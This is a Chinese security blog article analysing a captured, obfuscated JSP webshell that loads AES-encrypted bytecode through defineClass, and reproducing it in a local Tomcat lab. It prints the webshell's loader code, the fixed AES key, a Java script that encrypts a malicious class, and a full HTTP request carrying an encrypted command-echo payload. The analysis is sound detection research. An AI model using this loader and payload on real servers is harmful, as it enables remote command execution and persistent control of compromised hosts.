查看原文
其他

记一次对某变异webshell的分析

听风安全 2023-11-28

The following article is from Beacon Tower Lab Author 烽火台实验室

免责声明由于传播、利用本公众号听风安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号听风安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

公众号现在只对常读和星标的公众号才展示大图推送,

建议大家把听风安全设为星标,否则可能就看不到啦!

----------------------------------------------------------------------

0x01 前言

在某活动中捕获到一个变异的webshell(jsp文件格式),如图1.1所示。样本webshell的大致功能是通过加载字节码来执行恶意代码,整个webshell的核心部分逻辑是在字节码中。


样本文件下载链接:

https://github.com/webraybtl/webshell1

图1.1 变异webshell样本


直接通过冰蝎、哥斯拉、天蝎、蚁剑这些工具来连,均没有成功,初步推测是一个改过的webshell。


0x02 初步分析


Webshell中首先定义了两个方法b64Decode和unc,分别用于base64解码和gzip解码,代码比较简单,就不做分析。Webshell中处理逻辑部分代码如下所示。

<%    String u = "lgetwr";    if (context.get(u) != null) {        context.get(u).equals(new Object[]{request, response});    } else {        byte[] data = b64Decode("xxxx"); //替换为样本中的恶意字节码        byte[] cbs = unc(data);        java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0],Thread.currentThread().getContextClassLoader());        java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(new String(new byte[]{100,101,102,105,110,101,67,108,97,115,115}), new Class[]{byte[].class, int.class, int.class}); // new byte[]{100,101,102,105,110,101,67,108,97,115,115} 对应defineClass        method.setAccessible(true);        Class clazz = (Class) method.invoke(classLoader, new Object[]{cbs, new Integer(0), new Integer(cbs.length)});        context.put(u, clazz.newInstance());    }%>


context是静态map类型变量,起到全局数据传递的作用。在其中定义的变量u并不是webshell的密码,而仅是map中的一个key。


当第一次访问webshell的时候,通过反射的方式调用ClassLoader类的defineClass方法,把恶意的字节码经过解码之后作为defineClass方法的参数,并生成对应的类实例对象,保存到context字典中,key为“lgetwr”。


当后续再访问webshell的时候,进入另一个if分支,直接调用恶意对象对应的equals方法,并把request和response作为参数传入。


0x03 深入分析


把样本中的恶意字节码结果解码之后保存为class文件,解码的方式直接调用webshell中的b64Decode和unc方法,直接定位到恶意类对应的equals方法,如图3.1所示。

图3.1 字节码文件中的equals方法


从反编译的代码中可以看出字节码对应的类经过了混淆和压缩,无法友好的阅读代码,更重要的是在equals中调用了this.a(long, short)方法,该方法无法被idea反编译,在idea中提示无法“couldn ' t be decompiled”,如图3.2所示。更换jd-gui来进行反编译依然无法反编译这个方法,推测可能是作者为了防止反编译做的强混淆或者使用了某些奇怪的java语法。

图3.2 IDEA工具无法反编译字节码中的关键方法


后来在找到了一个非常棒的在线反编译网站http://www.javadecompilers.com/。可以支持多种不同的反编译工具来进行反编译,依次尝试所有的反编译器,当选择CFR反编译器时可以看到得到完整的源码,如图3.3、图3.4所示。

图3.3 通过CFR来进行反编译

图3.4 通过CFR反编译的关键方法a


虽然CFR也提示“unable to fully structure code”,但是其实关键的代码逻辑确是可以看到的,人为修改反编译代码中的语法错误,可以对代码进行调试。


为了对字节码中的类进行debug,需要在本地新建一个与字节码中的类完全一样的类“org.apache.coyote.module.ThrowableDeserializer”。但是在调试下断点的时候报如图3.5所示的错误,显示方法中无法下断点,原因是代码中删除了行号Line numbers info is not available in class。这是由于java的混淆和压缩工具在编译的时候删除了行号,导致无法对方法中的具体内容进行调试,只能调试方法调用。

图3.5 字节码文件提示无法调试


具体到webshell的代码逻辑中,提供了两种传入参数的方式,一种是直接通过参数传递,传递的参数名是SjIHRC7oSVIE,如图3.6所示。

图3.6 通过SjIHRC7oSVIE参数传递参数


另一种方式是通过json方式传递参数,如图3.7所示。

图3.7 通过json方式传递恶意代码


在后续的过程中会对上一步传入的恶意代码进行AES解密,解密密钥为固定值“oszXCfTeXHpIkMS3”,如图3.8所示。

图3.8 对传入的恶意代码进行解密


Webshell最终执行恶意代码的方式还是通过defineClass加载字节码的方式来进行的,最终能够触发任意命令代码执行的方式是在调用newInstance生成类对象的时候。此webshell的执行流程大体上可以分成下面的步骤:


1、第一次访问通过defineClass固定的恶意字节码生成对应的恶意类。org.apache.coyote.module.ThrowableDeserializer对象实例。并把实例保存到全局的map中,键名为lgetwr。

2、第二次访问直接调用键名为lgetwr的对象值,调用恶意类的equals方法,并传递request和response对象。

3、在恶意类的equals方法中调用混淆后的a(long, short)方法,该方法会从解析HTTP请求,获取SjIHRC7oSVIE键名传递的动态恶意值。

4、把HTTP请求传递的动态恶意值进行AES解密,gzip解码之后传递到defineClass方法进行动态加载,生成任意恶意类对象。通过恶意类对象的构造方法或者静态代码块触发命令执行。


0x04 实际测试


在本地tomcat环境中调试对应的webshell,构建一个恶意类ExploitRCE,如图4.1所示。

图4.1 构建恶意的命令执行的类ExploitRCE


通过javac把对应的java代码转化为class文件,模拟webshell的处理流程对字节码文件进行加密和编码,代码如下所示。

import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import java.io.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;import java.util.zip.GZIPInputStream;import java.util.zip.GZIPOutputStream;
public class Test4 {
   private static final String KEY = "oszXCfTeXHpIkMS3";    private static final String ALGORITHM = "AES";
   public static void main(String[] args) throws Exception {        byte[] originalString = Files.readAllBytes(Paths.get("/Users/pang0lin/java/projects/SpringMVC6/target/classes/ExploitRCE.class"));        byte[] bytes = gzipEncode(originalString);
       String encryptedString = encrypt(bytes);        System.out.println("加密后的字符串: " + encryptedString);
   }
   public static String encrypt(byte[] strToEncrypt) throws Exception {        SecretKeySpec secretKey = new SecretKeySpec(KEY.getBytes(), ALGORITHM);        Cipher cipher = Cipher.getInstance(ALGORITHM);        cipher.init(Cipher.ENCRYPT_MODE, secretKey);        byte[] encryptedByteValue = cipher.doFinal(strToEncrypt);        return Base64.getEncoder().encodeToString(encryptedByteValue);    }
   public static byte[] decrypt(String strToDecrypt) throws Exception {        SecretKeySpec secretKey = new SecretKeySpec(KEY.getBytes(), ALGORITHM);        Cipher cipher = Cipher.getInstance(ALGORITHM);        cipher.init(Cipher.DECRYPT_MODE, secretKey);        byte[] decodedValue = Base64.getDecoder().decode(strToDecrypt);        byte[] decryptedByteValue = cipher.doFinal(decodedValue);        return decryptedByteValue;    }
   public static byte[] b(byte[] var0) throws IOException {        ByteArrayOutputStream var2 = new ByteArrayOutputStream();        int var10000 = 0;        ByteArrayInputStream var3 = new ByteArrayInputStream(var0);        int var1 = var10000;        GZIPInputStream var4 = new GZIPInputStream(var3);        byte[] var5 = new byte[256];
       ByteArrayOutputStream var8;        while(true) {            int var6;            if ((var6 = var4.read(var5)) >= 0) {                var8 = var2;                if (var1 != 0) {                    break;                }
               var2.write(var5, 0, var6);                if (var1 == 0) {                    continue;                }            }
           var8 = var2;            break;        }
       return var8.toByteArray();    }
   public static byte[] gzipEncode(byte[] input) throws IOException {        ByteArrayOutputStream baos = new ByteArrayOutputStream();        GZIPOutputStream gzipOs = new GZIPOutputStream(baos);
       gzipOs.write(input);
       gzipOs.close();        baos.close();
       return baos.toByteArray();    }}


运行之后可以生成用于可以用于webshell的加密字符,如图4.2所示。

图4.2 模拟webshell加密和编码过程生成字符


通过burp发包,查看恶意代码执行过程,如图4.3所示。其中Content-Type在json方式传递时要求必须为application/json。运行之后弹出计算器,证明恶意代码执行成功。

到此已经完整复现了webshell执行命令的逻辑,但是由于命令执行没有回显结果,肯定不是作者的使用方式。


在关键的方法a(long, short)中执行newInstance创建恶意类对象之后,并没有调用对象的任意方法,并不能方便的回显命令执行结果。但是还是可以通过https://github.com/WhiteHSBG/JNDIExploit/blob/master/src/main/java/com/feihong/ldap/template/TomcatEchoTemplate.java 方式来进行回显命令,原理不再分析,在之前的文章中已经进行过介绍。


用TomcatEchoTemplate类替换上传的ExploitRCE类,重新发送payload如下:

POST /i.jsp HTTP/1.1Host: 192.168.67.26:8088Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: zh-CN,zh;q=0.9cmd:ifconfigCookie: JSESSIONID=798FA6D9C93F95975342688741748A41; 9d127d56=79851bf2x-forwarded-for: 127.0.0.2Connection: closeContent-Type: application/jsonContent-Length: 3731
{"SjIHRC7oSVIE":"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"}

在实际使用中要求Cookie中必须包含JSESSIONID,并且每次修改后面16位的值。


0x05 结论


这是一个变异的Webshell,在实网环境中具有较好的免杀效果,但是有样本之后还是很容易分析其代码特征和流量特征。本文章样本仅做学习研究使用,请勿使用本文章提供的样本进行非法攻击行为。


不可错过的往期推荐哦


Phobos家族勒索病毒分析

【实战案例】漏洞精彩瞬间之小漏洞大影响

如何挖通用型漏洞?

XSS绕过防护盲打某SRC官网后台

记一次限制环境下的域渗透实战

揭秘虚假红包套路|对微信裂变式广告的一次分析

U盘植马之基于arduino的badusb实现及思考

内网隧道技术,你知道几个?

APT是如何杜绝软件包被篡改的

SRC挖掘葵花宝典

点击下方名片,关注我们
觉得内容不错,就点下“”和“在看
如果不想错过新的内容推送可以设为星标
继续滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存